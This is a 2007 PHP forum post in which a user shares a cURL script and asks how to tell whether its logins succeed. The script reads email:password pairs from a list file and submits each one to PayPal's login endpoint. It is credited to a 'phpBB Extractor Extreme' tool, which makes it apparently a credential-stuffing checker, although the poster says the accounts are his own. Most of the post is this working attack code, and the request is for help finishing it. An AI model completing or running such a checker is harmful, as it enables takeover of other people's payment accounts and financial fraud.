Check A Variable For A String?how
Posted: Thu Feb 01, 2007 10:26 pm
feyd | Please use
if you can get that to check if you actually logged in or if there was a problem with the login details i will luv you, i also may donate
thanks
feyd | Please use
Code: Select all
,Code: Select all
and [syntax="..."] tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read: [url=http://forums.devnetwork.net/viewtopic.php?t=21171]Posting Code in the Forums[/url] to learn how to do it too.[/color]
hello, i cant seem to find a function that will search a variable for a specifed string.
also ive tried "strpos" and not working
heres my script it attemps to login to my 2 paypal accounts then i want it to search a string to see if it actualy logged in or if details were invalid.Code: Select all
<?
//Scripted By NoNe (Edited By t0pP8uZzz)
//For use with phpBB Extractor Extreme
//Special thanks to NoNe
//Greetz To Actaviosan, Don, 3l3ctr1c
$url="https://www.paypal.com";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0");
curl_setopt($ch, CURLOPT_REFERER, "https://www.paypal.com/");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$store = curl_exec ($ch);
$content = curl_exec ($ch); # This returns HTML
curl_close ($ch);
$list = file("list.txt");
foreach($list as $testit) {
$testit = explode(":",$testit);
$email = $testit[0];
$password = $testit[1];
$password = str_replace("\n", "", $password);
$emaila = str_replace("@", "%40", $email);
$postinfo = "login_email=" . $emaila . "&login_password=" . $password . "&submit.x=Log+In&form_charset=UTF-8";
$url="https://www.paypal.com/cgi-bin/webscr?cmd=_login-submit";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0");
curl_setopt($ch, CURLOPT_REFERER, "https://www.paypal.com/");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookie.txt');
curl_setopt ($ch, CURLOPT_COOKIEJAR, 'cookie.txt');
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postinfo);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$store = curl_exec ($ch);
$content = curl_exec ($ch); # This returns HTML
$data = curl_exec($ch); # this will store the html of the retreived page into $data
{
ob_flush();
flush();
}
}
echo 'Done'
?>if you can get that to check if you actually logged in or if there was a problem with the login details i will luv you, i also may donate
thanks
feyd | Please use
Code: Select all
,Code: Select all
and [syntax="..."] tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read: [url=http://forums.devnetwork.net/viewtopic.php?t=21171]Posting Code in the Forums[/url] to learn how to do it too.[/color]